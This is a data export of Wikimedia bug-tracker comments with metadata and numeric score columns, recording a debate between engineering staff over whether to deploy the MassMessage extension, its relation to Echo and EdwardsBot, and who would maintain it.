This is not a reply to my line you quoted.",,,1380838994,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,True,,,13,,1.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,1.3333333333333333,3.3333333333333335,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,3.0,0.0,0.0,0.0,4.333333333333333,0.6666666666666666,4.0,9.0,0.6666666666666666,1.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,5.333333333333333,2.0,0.0,1.3333333333333333,1.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,1.0,0.0,0.3333333333333333,1.0,0.0,0.3333333333333333,0.0,0.0,1.0,11.0,0.6666666666666666,1.6666666666666667,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,2.3333333333333335,1.3333333333333333,20.666666666666668,2.3333333333333335,1.3333333333333333,6.666666666666667,0.0,0.0,0.0,0.3333333333333333,3.3333333333333335,0.0,1.6666666666666667,0.0,5.666666666666667,9.0,12.333333333333334,0.0,1.3333333333333333,0.0,5.666666666666667,0.0,1.0,1.0,0.3333333333333333,1.0,0.0,0.0,1.3333333333333333,3.504260289974576,0.5894660894660895,"I don't want to monopolise the discussion so I'll briefly reply to some ""personal points"".

(In reply to comment #32)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This comparison carries no value: 1) LQT can't be undeployed because we'd lose critical data (discussions) from the wiki, 2) AFT is being expanded right now with no exit strategy I'm aware of (probably under the understanding that nobody cares if all that data disappears from the wikis after undeployment).

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I highly doubt I do. My sentence started with an ""If"" for a reason: I've no idea who's responsible for Echo.

Let me note that I asked how you planned to coordinate with other pieces of code/devs working in this area already 9 months ago: [[m:IRC office hours/2013-01-08]].

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I gather that you feel insulted and circumvented or something like that and I'm sorry for this personal pain you're suffering, but all this talk about exploiting doesn't look helpful.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This is not a reply to my line you quoted."
251394,Review and deploy MassMessage extension to Wikimedia wikis,"**tchay** wrote:

(In reply to comment #30)
> (In reply to comment #28)
> > bug 52723 is a recent bug to deploy Legoktm's MassMessage extension as a
> > solution to bug 35306, it is less than a month old there has been little
> > public
> > discussion [...]
> 
> For your following points, it seems you're implying that the desiderata and
> requirements for this extension are not clear. This couldn't be less true[edit]:
> the
> requirements are to take over EdwardsBot (a successful product) in the least
> impactful way possible.

bug 52723 on its own is clear, but as a solution to bug 35306, it is not. If we actually want to solve bug 35306 in an ideal world, nobody would use 52723, nor would Platform resources have been spent on 52723.

For instance, what is the timescale necessary before EdwardsBot is unworkable? Has it failed immediately or is failure immanent? If not, why then the rush on bug 52723? If so, then we need to discuss what to do of which bug 52723 is the only option right now. No other extension in recent memory has been deployed on the cluster with so little public discussion, without any product approvals, without any commitment from Features for maintenance.

> > The problem with moving on bug 52723 as a solution to bug 35306 is it commits
> > Features Engineering to maintaining an extension that is a stop gap solution
> > with no or very little discussion in a manner that doesn't serve a broad
> > strategic goal about how messages, notifications, etc. should be handled on
> > the
> > wikis. [...]
> 
> This appears to be a false problem. If Echo or something else in a future
> provides equivalent or better features, the extension will fall into disuse
> and/or it can be undeployed.

That argument may have held water back when extensions like ReaderFeedback or LiquidThreads were written and deployed. We still have those extensions cluttering the cluster with no serious commitment to support, no easy avenue for sunsetting. Unlike that time, we now real product and development processes in place. Those processes should be given a chance to work before being bypassed.

It would be unfair to every engineer here and all extensions written if the old standard of, ""If something better comes along, this will die naturally"" is applied in this case barring some emergency. That standard hasn't been applied during my tenure here and I'm not going to make an exception just because Platform's checklist for covers core deployments has been gamed to cover a new extension deployment that would not reached this stage and would have received an reprimand from me (wasting Platform's resources) had my own engineers done this.

While MassMessage is replacing or superseding current site functionality, this is this isn't improving or superseding a current (neglected) extension. For instance, the community-initiated work being done on the Math Extension (which I might had has had infinitely more discussion on wikitech-l) because this site functionality  If anything, the inability of Features Engineering to review and maintain the current deployed extensions should make the case against MassMessage adding to that balance sheet already deeply in the red.

The simple reality is that Features Engineering will not support the MassMessage Extension as is. But if a different department like Platform Engineering is actually committed to supporting it indefinitely, I'll cede the ground entirely. I did the same to Language Engineering with Translation Notifications. This time, I'd recommend discussion with others how that experience has worked out (I don't know myself, because Feature ceded responsibility here).

> > [...] After discussion during that Friday
> > meeting among the EPMs, I compromised to let it to go out on two test wikis,
> > but not on mediawiki. Nobody made the case that it should go out on
> > mediawiki.
> 
> AFAIK, this is a MediaWiki extension. Do you mean ""not on mediawiki.org""?

Yes, sorry. I meant the mediawiki.org. You can see the context of my use of mediawiki by itself from the change history I linked to above.

> I don't get these points. If you're responsible for Echo, it's your
> responsibility to decide what Echo is going to incorporate, it's not the
> others' responsibility to guess it and be blocked for years while you figure
> it
> out.

I'm responsible for ENGINEERING RESOURCING on Echo. Right now a full-time engineer has been devoting his full time in supporting a product that is ""done"" simply because the rollout hasn't yet happened on all the wikis. If I want to commit more time developing enhancements to it, I have to take that resource from somewhere else like VisualEditor or Flow. Because it affects those teams, I'd negotiate with the product managers on that time. In addition, I'm okay with being ordered to change that current level or resourcing by Erik, Sue, or the Board, but until then I make the resourcing decision based on my responsibility toward achieving the Annual Plan, the Strategy, and other commitments we've made.

You have a misguided view of what I do or what works in general in our movement or at the WMF. What or what-not Echo incorporates, like all decisions of this nature, are not mine alone but the responsibility of Product Design in discussion with me, my teams, and others. When it comes to Echo specifically, because I have the least domain knowledge on the team, I have the least contribution and thus the least authority to do beyond a suggestion. This is a Good Thing. We should be good stewards of each others time and energy and not commit others without discussion with them.

I have a lot of stuff I'd like to do and I'd like to promie, but I agree to abide by this framework and expect my teams to do the same. I make and enforce the rules with respect to Features Engineering, but I do not make all the decisions for the features, or even the most relevant ones in this matter.

> Are you saying you're going to figure it out so that people can
> understand
> how to work with/for Echo without being just blocked by it?

I am saying, ""Here is an approach we can take. I realize that it's a 3-6 month to 1 year thing, but so is everything else we've done. If you've held off for almost 2 years, can you hold off a bit longer? This approach can be done orthogonal to other approaches (like this bug), but the important thing to be is consistent so we avoid things (like ad-hoc extension deployments) that we know haven't worked in the past.""

I'm saying if you can't be blocked by this bug and need Features to support it, then either go without Features or state reasons other than ""it's been in bugzilla for almost 2 years"" because that has never been a standard to get stuff fixed and deployed.

I'm asking that while I agree (and I think most would) that it'd be nice to have movement on the parent bug, people stop trying to exploit known holes in our development processes to try to get a particular implementation that is not derived from consensus and has bypassed every standard erected to safeguard sustainable development at the WMF: either work within the system or don't but don't try to get something deployed and say it's Features' problem because it's an extension. This sort of behavior breaks down trust in our people and processes many of whom and which are new, fragile,and need to be nurtured, not exploited.

For instance, BetaFeatures was shopped around long before MassMessage, bypassing Features Engineering. They got a bite in Multimedia and Mobile and now Multimedia wants to deploy this and move on to work on… Multimedia and is in a spot with respect to support for this extension. Part of me wants to say, ""Well you knew this was going to happen, why didn't you involve the rest of Product and Features before you got to this point?"" And that's for an extension that had far more buy-in, development, design, and direction (from the VP level even), and isn't even deployed yet!

It is for exactly sort of situations that the consensus and discussions with product, design, and features is a standard for all new features in the first place. When this rule is bent as in the case of BetaFeatures, it causes problems which the people who took it on understood would come as a consequence. When this rule isn't even followed, as in the case of MassMessage, Features opts-out, but another department is welcome to take this on.

> > The above can occur independently or in parallel to the above. If Product
> > thinks it cool to commit Platform's constrained engineering resources to
> > deploying and supporting MassMessage Extension forever 
> 
> This is one thing,
> 
> > and use it to take
> > advantage of Echo when the features roll out in some undefined future,
> 
> this looks like an unreasonable requirement

The requirement for extensions to be deployed has ALWAYS been that Features Engineering sign off on a commitment to maintain the extension. I've relaxed it to be: ""If another engineering department in collaboration with product is willing to commit to it, Features will not block."" I'd like to someday relax this further to: ""If any engineering department or community development in collaboration with the other core competencies (features, product, design, and community) are willing to commit to it, no one should block."" We are not there yet, and trying to rail against that is winning a battle at the cost of the war breaking down these silos and having shared ownership and responsibility in our organization, in our community, and in our movement.

> (are you going to shutdown
> message
> bots too if they don't use Echo?).

No. Message bots are not Extensions. I think the criteria to move EdwardsBot into ToolLabs is different. If MZMcBride would like assistance on this, I think the engineering community team and operations will offer it.

Personally, I (and I assume you) would like a solution beyond and more sustainable than saddling MZ and EdwardsBot with more work. The original bug points out that much of the Wikimedia Foundation is dependent on MZ's bot. If MassMessage Extension is the only option or is an emergency option, so be it — people have shortcutted processes before and have had to live with the consequences.

Otherwise, we need to have that discussion in front of all of WMF Tech, on Wikitech-l in front of the mediawiki community, and in front of the C-levels and the board as part of the annual plan, not just on this bug.",,,1380837927,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,0.8333333333333334,0.2222222222222222,0.05555555555555555,1.0555555555555556,1.4444444444444444,3.9444444444444446,1.5555555555555556,0.4444444444444444,0.0,0.7777777777777778,2.1666666666666665,1.5555555555555556,0.05555555555555555,0.2222222222222222,0.0,3.5,0.7777777777777778,5.388888888888889,13.88888888888889,0.2777777777777778,2.3333333333333335,0.2222222222222222,0.1111111111111111,0.0,0.8888888888888888,0.7222222222222222,0.1111111111111111,0.16666666666666666,0.3333333333333333,1.1111111111111112,0.3888888888888889,5.888888888888889,0.9444444444444444,1.2777777777777777,0.8333333333333334,0.5,0.0,0.05555555555555555,0.5,0.5555555555555556,0.2222222222222222,0.16666666666666666,0.2777777777777778,4.333333333333333,0.05555555555555555,0.6666666666666666,0.05555555555555555,0.2222222222222222,0.2222222222222222,11.5,0.6111111111111112,1.8888888888888888,0.16666666666666666,0.6111111111111112,0.05555555555555555,0.16666666666666666,0.0,1.0,0.9444444444444444,0.0,0.6111111111111112,1.0,0.05555555555555555,0.16666666666666666,0.16666666666666666,0.2777777777777778,0.0,5.166666666666667,3.5,12.11111111111111,2.1666666666666665,4.0,8.777777777777779,0.0,0.0,0.05555555555555555,0.05555555555555555,4.722222222222222,0.16666666666666666,0.7222222222222222,0.0,5.5,13.88888888888889,5.777777777777778,0.2777777777777778,0.8333333333333334,0.0,5.444444444444445,0.0,1.3333333333333333,1.6111111111111112,0.3333333333333333,1.6111111111111112,0.4444444444444444,0.2777777777777778,0.1111111111111111,4.075751849561374,0.6867484367484368,"**tchay** wrote:

(In reply to comment #30)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

bug 52723 on its own is clear, but as a solution to bug 35306, it is not. If we actually want to solve bug 35306 in an ideal world, nobody would use 52723, nor would Platform resources have been spent on 52723.

For instance, what is the timescale necessary before EdwardsBot is unworkable? Has it failed immediately or is failure immanent? If not, why then the rush on bug 52723? If so, then we need to discuss what to do of which bug 52723 is the only option right now. No other extension in recent memory has been deployed on the cluster with so little public discussion, without any product approvals, without any commitment from Features for maintenance.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That argument may have held water back when extensions like ReaderFeedback or LiquidThreads were written and deployed. We still have those extensions cluttering the cluster with no serious commitment to support, no easy avenue for sunsetting. Unlike that time, we now real product and development processes in place. Those processes should be given a chance to work before being bypassed.

It would be unfair to every engineer here and all extensions written if the old standard of, ""If something better comes along, this will die naturally"" is applied in this case barring some emergency. That standard hasn't been applied during my tenure here and I'm not going to make an exception just because Platform's checklist for covers core deployments has been gamed to cover a new extension deployment that would not reached this stage and would have received an reprimand from me (wasting Platform's resources) had my own engineers done this.

While MassMessage is replacing or superseding current site functionality, this is this isn't improving or superseding a current (neglected) extension. For instance, the community-initiated work being done on the Math Extension (which I might had has had infinitely more discussion on wikitech-l) because this site functionality  If anything, the inability of Features Engineering to review and maintain the current deployed extensions should make the case against MassMessage adding to that balance sheet already deeply in the red.

The simple reality is that Features Engineering will not support the MassMessage Extension as is. But if a different department like Platform Engineering is actually committed to supporting it indefinitely, I'll cede the ground entirely. I did the same to Language Engineering with Translation Notifications. This time, I'd recommend discussion with others how that experience has worked out (I don't know myself, because Feature ceded responsibility here).

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yes, sorry. I meant the mediawiki.org. You can see the context of my use of mediawiki by itself from the change history I linked to above.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I'm responsible for ENGINEERING RESOURCING on Echo. Right now a full-time engineer has been devoting his full time in supporting a product that is ""done"" simply because the rollout hasn't yet happened on all the wikis. If I want to commit more time developing enhancements to it, I have to take that resource from somewhere else like VisualEditor or Flow. Because it affects those teams, I'd negotiate with the product managers on that time. In addition, I'm okay with being ordered to change that current level or resourcing by Erik, Sue, or the Board, but until then I make the resourcing decision based on my responsibility toward achieving the Annual Plan, the Strategy, and other commitments we've made.

You have a misguided view of what I do or what works in general in our movement or at the WMF. What or what-not Echo incorporates, like all decisions of this nature, are not mine alone but the responsibility of Product Design in discussion with me, my teams, and others. When it comes to Echo specifically, because I have the least domain knowledge on the team, I have the least contribution and thus the least authority to do beyond a suggestion. This is a Good Thing. We should be good stewards of each others time and energy and not commit others without discussion with them.

I have a lot of stuff I'd like to do and I'd like to promie, but I agree to abide by this framework and expect my teams to do the same. I make and enforce the rules with respect to Features Engineering, but I do not make all the decisions for the features, or even the most relevant ones in this matter.

QUOTE
QUOTE
QUOTE

I am saying, ""Here is an approach we can take. I realize that it's a 3-6 month to 1 year thing, but so is everything else we've done. If you've held off for almost 2 years, can you hold off a bit longer? This approach can be done orthogonal to other approaches (like this bug), but the important thing to be is consistent so we avoid things (like ad-hoc extension deployments) that we know haven't worked in the past.""

I'm saying if you can't be blocked by this bug and need Features to support it, then either go without Features or state reasons other than ""it's been in bugzilla for almost 2 years"" because that has never been a standard to get stuff fixed and deployed.

I'm asking that while I agree (and I think most would) that it'd be nice to have movement on the parent bug, people stop trying to exploit known holes in our development processes to try to get a particular implementation that is not derived from consensus and has bypassed every standard erected to safeguard sustainable development at the WMF: either work within the system or don't but don't try to get something deployed and say it's Features' problem because it's an extension. This sort of behavior breaks down trust in our people and processes many of whom and which are new, fragile,and need to be nurtured, not exploited.

For instance, BetaFeatures was shopped around long before MassMessage, bypassing Features Engineering. They got a bite in Multimedia and Mobile and now Multimedia wants to deploy this and move on to work on… Multimedia and is in a spot with respect to support for this extension. Part of me wants to say, ""Well you knew this was going to happen, why didn't you involve the rest of Product and Features before you got to this point?"" And that's for an extension that had far more buy-in, development, design, and direction (from the VP level even), and isn't even deployed yet!

It is for exactly sort of situations that the consensus and discussions with product, design, and features is a standard for all new features in the first place. When this rule is bent as in the case of BetaFeatures, it causes problems which the people who took it on understood would come as a consequence. When this rule isn't even followed, as in the case of MassMessage, Features opts-out, but another department is welcome to take this on.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The requirement for extensions to be deployed has ALWAYS been that Features Engineering sign off on a commitment to maintain the extension. I've relaxed it to be: ""If another engineering department in collaboration with product is willing to commit to it, Features will not block."" I'd like to someday relax this further to: ""If any engineering department or community development in collaboration with the other core competencies (features, product, design, and community) are willing to commit to it, no one should block."" We are not there yet, and trying to rail against that is winning a battle at the cost of the war breaking down these silos and having shared ownership and responsibility in our organization, in our community, and in our movement.

QUOTE
QUOTE
QUOTE

No. Message bots are not Extensions. I think the criteria to move EdwardsBot into ToolLabs is different. If MZMcBride would like assistance on this, I think the engineering community team and operations will offer it.

Personally, I (and I assume you) would like a solution beyond and more sustainable than saddling MZ and EdwardsBot with more work. The original bug points out that much of the Wikimedia Foundation is dependent on MZ's bot. If MassMessage Extension is the only option or is an emergency option, so be it — people have shortcutted processes before and have had to live with the consequences.

Otherwise, we need to have that discussion in front of all of WMF Tech, on Wikitech-l in front of the mediawiki community, and in front of the C-levels and the board as part of the annual plan, not just on this bug."
251388,Review and deploy MassMessage extension to Wikimedia wikis,*couldn't be less true,,,1380829988,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,17.0,17.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,3.1666666666666665,1.0,*couldn't be less true
251383,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #28)
> bug 52723 is a recent bug to deploy Legoktm's MassMessage extension as a
> solution to bug 35306, it is less than a month old there has been little
> public
> discussion [...]

For your following points, it seems you're implying that the desiderata and requirements for this extension are not clear. This couldn't be less clear: the requirements are to take over EdwardsBot (a successful product) in the least impactful way possible.

> 
> The problem with moving on bug 52723 as a solution to bug 35306 is it commits
> Features Engineering to maintaining an extension that is a stop gap solution
> with no or very little discussion in a manner that doesn't serve a broad
> strategic goal about how messages, notifications, etc. should be handled on
> the
> wikis. [...]

This appears to be a false problem. If Echo or something else in a future provides equivalent or better features, the extension will fall into disuse and/or it can be undeployed.

> [...] After discussion during that Friday
> meeting among the EPMs, I compromised to let it to go out on two test wikis,
> but not on mediawiki. Nobody made the case that it should go out on
> mediawiki.

AFAIK, this is a MediaWiki extension. Do you mean ""not on mediawiki.org""?

> [...]
> 
> For example, features in MassMessage and EdwardsBot need to be addressed in a
> Must-Have, Should-Have, Could-Have, Won't-Have (MoSCoW) framework. 

Isn't this what dependencies are for? I see one dependency and it's fixed.

> [...]
> 
> 1) wait for some things to happen: legoktm to get an RfP, Echo to be on all
> wikis, and Benny to do an entire Flow only sprint and balancing his time more
> effectively wrt Echo.

I don't understand how keeping to use a bot for the very same things this extension would do helps Echo.

> 2) MoSCoW other features of MassMessage/EdwardsBot for integration into Echo
> 3) Enhance and deploy a first pass to Echo to allow some sort of mass
> notification from a wiki list
> 4) Some sort of cross wiki notification enhancement (requires a design pass)
> 5) Discuss how to implement must-have or should-have features of EdwardsBot
> that can't live in Echo (permanent log of events)?
> 6) Add those to plan and be done.

I don't get these points. If you're responsible for Echo, it's your responsibility to decide what Echo is going to incorporate, it's not the others' responsibility to guess it and be blocked for years while you figure it out. Are you saying you're going to figure it out so that people can understand how to work with/for Echo without being just blocked by it?

> The above can occur independently or in parallel to the above. If Product
> thinks it cool to commit Platform's constrained engineering resources to
> deploying and supporting MassMessage Extension forever 

This is one thing,

> and use it to take
> advantage of Echo when the features roll out in some undefined future,

this looks like an unreasonable requirement (are you going to shutdown message bots too if they don't use Echo?).",,,1380829865,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,True,,,13,,0.0,0.25,0.25,0.5,2.0,3.25,2.0,0.0,0.0,0.75,0.75,2.25,0.0,0.0,0.0,0.75,0.0,4.25,9.75,0.25,2.75,0.0,0.5,0.0,0.0,0.25,0.0,0.0,0.75,0.5,0.0,6.75,1.75,2.5,0.75,2.5,0.5,0.0,0.5,0.25,0.0,0.25,0.0,2.25,0.25,0.25,0.0,0.0,0.25,8.75,1.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.25,0.0,0.0,1.25,0.0,0.5,0.0,0.0,0.75,3.0,3.75,15.0,2.5,1.5,5.5,0.0,0.0,0.0,0.25,5.25,0.0,0.75,0.0,6.0,9.75,8.25,1.0,0.75,0.0,6.0,0.0,1.0,1.5,0.0,1.75,0.5,0.25,0.25,3.7379518072289155,0.6265060240963856,"(In reply to comment #28)
QUOTE
QUOTE
QUOTE
QUOTE

For your following points, it seems you're implying that the desiderata and requirements for this extension are not clear. This couldn't be less clear: the requirements are to take over EdwardsBot (a successful product) in the least impactful way possible.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This appears to be a false problem. If Echo or something else in a future provides equivalent or better features, the extension will fall into disuse and/or it can be undeployed.

QUOTE
QUOTE
QUOTE
QUOTE

AFAIK, this is a MediaWiki extension. Do you mean ""not on mediawiki.org""?

QUOTE
QUOTE
QUOTE
QUOTE

Isn't this what dependencies are for? I see one dependency and it's fixed.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I don't understand how keeping to use a bot for the very same things this extension would do helps Echo.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I don't get these points. If you're responsible for Echo, it's your responsibility to decide what Echo is going to incorporate, it's not the others' responsibility to guess it and be blocked for years while you figure it out. Are you saying you're going to figure it out so that people can understand how to work with/for Echo without being just blocked by it?

QUOTE
QUOTE
QUOTE

This is one thing,

QUOTE
QUOTE

this looks like an unreasonable requirement (are you going to shutdown message bots too if they don't use Echo?)."
251377,Review and deploy MassMessage extension to Wikimedia wikis,"**tchay** wrote:

I am not modifying this bug, to leave open the avenue that Platform Engineering commits to supporting [[mw:Extension:MassMessage]], only bug 35306.",,,1380828245,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,5.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,12.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,2.0,5.0,10.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,8.0,3.6,0.75,"**tchay** wrote:

I am not modifying this bug, to leave open the avenue that Platform Engineering commits to supporting [[mw:Extension:MassMessage]], only bug 35306."
251372,Review and deploy MassMessage extension to Wikimedia wikis,"**tchay** wrote:

We have two separate but related bugs here: 

https://bugzilla.wikimedia.org/show_bug.cgi?id=35306
https://bugzilla.wikimedia.org/show_bug.cgi?id=52723

bug 35306 is an tracking bug MZMcBride posted for a solution to deal with EdwardsBot. I believe it dates to around the time I was first employed almost two years ago.

bug 52723 is a recent bug to deploy Legoktm's MassMessage extension as a solution to bug 35306, it is less than a month old there has been little public discussion, and until it appeared on the deploy calendar last week, I wasn't even aware of its existence.

The problem with moving on bug 52723 as a solution to bug 35306 is it commits Features Engineering to maintaining an extension that is a stop gap solution with no or very little discussion in a manner that doesn't serve a broad strategic goal about how messages, notifications, etc. should be handled on the wikis. To the first, maybe there is something wrong with my e-mail client, but I have yet to find this discussion on wikitech-l or anywhere outside the bug.

Because of the above, my view is that this solution is being back-doored in and just moves the ""technical debt"" from one sheet (the community and tool labs) to another that has even less capability. I am biased against that because the latter sheet (WMF Features Engineering) is my responsibility. This is just my view, I'm open for us coming to consensus on a solution for this bug, but what I have seen is not consensus.

It is along these lines that, I asked to remove MassMessage from the deploy calendar when it was added to the deploy calendar without discussion from Features, Design, or Product last week. After discussion during that Friday meeting among the EPMs, I compromised to let it to go out on two test wikis, but not on mediawiki. Nobody made the case that it should go out on mediawiki. I demurred because no person at the WMF, including me as Director of Features Engineering, should fiat a decision when unaware of the status of discussions involved.

But let frank: if this had been a WMF employee writing this extension, it wouldn't have made it to even the test wikis by a country mile. In fact, a lot of extensions have been written by employees and either have extensive discussion, review, and buy-in (e.g. GuidedTours), or have not been deployed (e.g. Etherpad, the org chart, BetaFeatures) even though much more work has been done on them.

I also don't like that WMF resources in Platform and Design are being spent to review something that has had no adequate discussion over in the annual plan, in anyone's 20% time, in any cross-team discussion, or public discussion on wikitech-l (There was a last minute thread in the Design list, I am not on the design list, nor should I be, and the Creative Director is new and the team is just trying to get their sea legs and some consideration to that needs to be done here). Furthermore, after further discussion, nearly all of Product felt I should not have compromised earlier because the following situation might occur: Having gotten it onto ""the cluster"" people would then move to back-door it into deployment on the basis that it's already on the cluster. Their prediction is occurring right now. This is a bogus argument because nobody agreed this should be on the cluster, it's just that nobody has reviewed it in a thorough enough manner to shout ""NO!""

If necessary, I'm going to shout ""NO!"" at this moment.

Having said that, there is the larger issue of bug 35306 which has been sitting there unsolved for a while as well as the smaller issue of the month's work Legoktm and MZMcBride have already put into Bug 52723 and [[mw:Extension:MassMessage]] possibly going to waste if I keep blocking it. Besides, MZ is sitting there trying to hold everything up on his own shoulders with EdwardsBot, and we all know it.

…

Let me address the functionality overlap with Echo:

LanguageEngineering built their own parallel message/notification system before Echo that lives on Meta today. They commit to supporting their own parallel message/notification system, and I'm okay with it living outside Echo (where it currently does), but there is an understanding that they've basically committed to that work with no support from Features for the duration that it does live outside Echo.

In those lines, I'm glad that Platform has helped out here, but unless Platform is committing to support MassMessage indefinitely into the future and not just provide one-time security and deploy assistance, I'm not okay with them adding to Features work even though they've been super helpful to MZMcBride and Legoktm. If Dan Garry is willing to commit Platform to support MassMessage, I'll think the same precedent we've done with LE applies here.

Furthermore, before *in-echo, outside-echo, use-echo) for a solution to be bug 35306, it needs to actually exhibit product discipline. The WMF gets panned for having a ""agile processes"" but not actually doing so, but we do have some process and we need to at least apply the same product discipline that we apply everywhere else to this bug.

For example, features in MassMessage and EdwardsBot need to be addressed in a Must-Have, Should-Have, Could-Have, Won't-Have (MoSCoW) framework. Features like ""mass delivery from a list"" are probably a Must-Have; features like ""cross-wiki notification"" are probably a should-have, other features like ""public over private notifications"", ""page-centric over user-centric"" or ""longer stream notifications"" are either not a must-have or could have or are should-haves to  be done outside Echo by a different service (bot) using the Echo API or some extension thereof. All that is a product issue, and I nor anyone in my team is in product. Those decisions should be done in discussion with the Product team and they should not be disintermediated from it, which they have been.

I understand that many people would like to see a solution to Bug 35306 would be great to have. I'd like to see a better Signpost notification system and a more generalized solution for newsletter delivery also! I'd also like a pony. But we have already committed resources and continue to commit resources without discussion from the people (Product Design, not Features Engineering) who have been tasked with this responsibility and are very good at these sort of thing. I hope everyone participating on this bug can see that dropping this bomb on a newly hired associate product manager is simply not cool on so many levels.

…

Here is my suggestion:

(This is thinking, not a directive so don't think of this as definitive or final, I'm seeking consensus here.)

First, bug 35306 is a long-standing request. I think it's important we get headway on this, but I hope others will be understanding if it doesn't happen immediately, so long as there is a commitment for this to happen.

(For perspective, Flow was first proposed years ago, and was added to the annual plan almost two years ago before their first actual development sprint was completed (end of this week!). Echo was first deployed almost 8 months ago and is still not out on all the wikis. BetaFeatures has been in discussion for months and is still not deployed, nor is the commitment to maintain inside Features and that has caused a lot of issues. Fixing things right right takes time because consensus takes time and open discussion.)

There is an RfP for student developer time for legoktm for things like this (Finding a solution for Bug 35306 but not [[mw:Extension:MassMessage]] because MassMessage would not be deployed if it was my own engineer). Benny Situ has been spending all his time supporting [[mw:Extension:Echo]] when he should balancing [[mw:Flow]] development time into Echo bug fixes and needs to spend at least one sprint (two weeks) solely getting up to speed on Flow before doing enhancements for [[wm:Echo]]. Furthermore, Echo is not deployed everywhere yet and is still rolling out (though I've been pushing up the timetable on this as I feel we're too slow here), so it can't reach the places that EdwardsBot cat.

After the above happen, I'd like Benny and Kunal to work together to add some of the functionality of EdwardsBot into Echo for mass message delivery. Because of this, I'm moving bug 35306 into Echo as an enhancement and raising it's priority.

In the meantime I'll be OK with leaving MassMessage on test and test2 wikis because the alternative would be to remove it from the cluster entirely. The experiences and code Kunal derives by that can inform the enhancement to Echo, as well as things it already does that find themselves outside Echo (Echo does not and should not post to talk pages). So I figure two stages:

1) wait for some things to happen: legoktm to get an RfP, Echo to be on all wikis, and Benny to do an entire Flow only sprint and balancing his time more effectively wrt Echo.
2) MoSCoW other features of MassMessage/EdwardsBot for integration into Echo
3) Enhance and deploy a first pass to Echo to allow some sort of mass notification from a wiki list
4) Some sort of cross wiki notification enhancement (requires a design pass)
5) Discuss how to implement must-have or should-have features of EdwardsBot that can't live in Echo (permanent log of events)?
6) Add those to plan and be done.

